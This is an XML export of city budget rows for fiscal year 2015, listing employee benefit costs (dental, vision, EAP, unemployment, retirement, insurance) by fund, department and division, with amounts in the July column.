<row _id="14809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1766.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1766.0</total></row>
<row _id="14810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>629.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>629.0</total></row>
<row _id="14811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4744.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4744.0</total></row>
<row _id="14812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12928.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12928.0</total></row>
<row _id="14813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2905.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2905.0</total></row>
<row _id="14814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>829.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>829.0</total></row>
<row _id="14815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>728.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>728.0</total></row>
<row _id="14816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>54174.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54174.0</total></row>
<row _id="14817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>54927.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54927.0</total></row>
<row _id="14818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="14819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>361.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>361.0</total></row>
<row _id="14820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4790.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4790.0</total></row>
<row _id="14821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4592.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4592.0</total></row>
<row _id="14822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11788.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11788.0</total></row>
<row _id="14823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>729.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>729.0</total></row>
<row _id="14824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25815.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25815.0</total></row>
<row _id="14825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5956.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5956.0</total></row>
<row _id="14826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19330.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19330.0</total></row>
<row _id="14827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>764740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>764740.0</total></row>
<row _id="14828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>604789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>604789.0</total></row>
<row _id="14829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1770.0</total></row>
<row _id="14830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>478.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>478.0</total></row>
<row _id="14831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>847.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>847.0</total></row>
<row _id="14832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6927.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6927.0</total></row>
<row _id="14833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5059.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5059.0</total></row>
<row _id="14834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1841.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1841.0</total></row>
<row _id="14835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>37029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37029.0</total></row>
<row _id="14836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6727.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6727.0</total></row>
<row _id="14837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1617.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1617.0</total></row>
<row _id="14838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13149.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13149.0</total></row>
<row _id="14839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6908.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6908.0</total></row>
<row _id="14840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3234.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3234.0</total></row>
<row _id="14841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>48650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48650.0</total></row>
<row _id="14842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>55854.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55854.0</total></row>
<row _id="14843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3920.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3920.0</total></row>
<row _id="14844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2156.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2156.0</total></row>
<row _id="14845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11311.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11311.0</total></row>
<row _id="14846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8382.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8382.0</total></row>
<row _id="14847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>107036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107036.0</total></row>
<row _id="14848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1169.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1169.0</total></row>
<row _id="14849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12942.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12942.0</total></row>
<row _id="14850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>733.0</total></row>
<row _id="14851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1449.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1449.0</total></row>
<row _id="14852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5138.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5138.0</total></row>
<row _id="14853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1610.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1610.0</total></row>
<row _id="14854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1022.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1022.0</total></row>
<row _id="14855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4396.0</total></row>
<row _id="14856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12033.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12033.0</total></row>
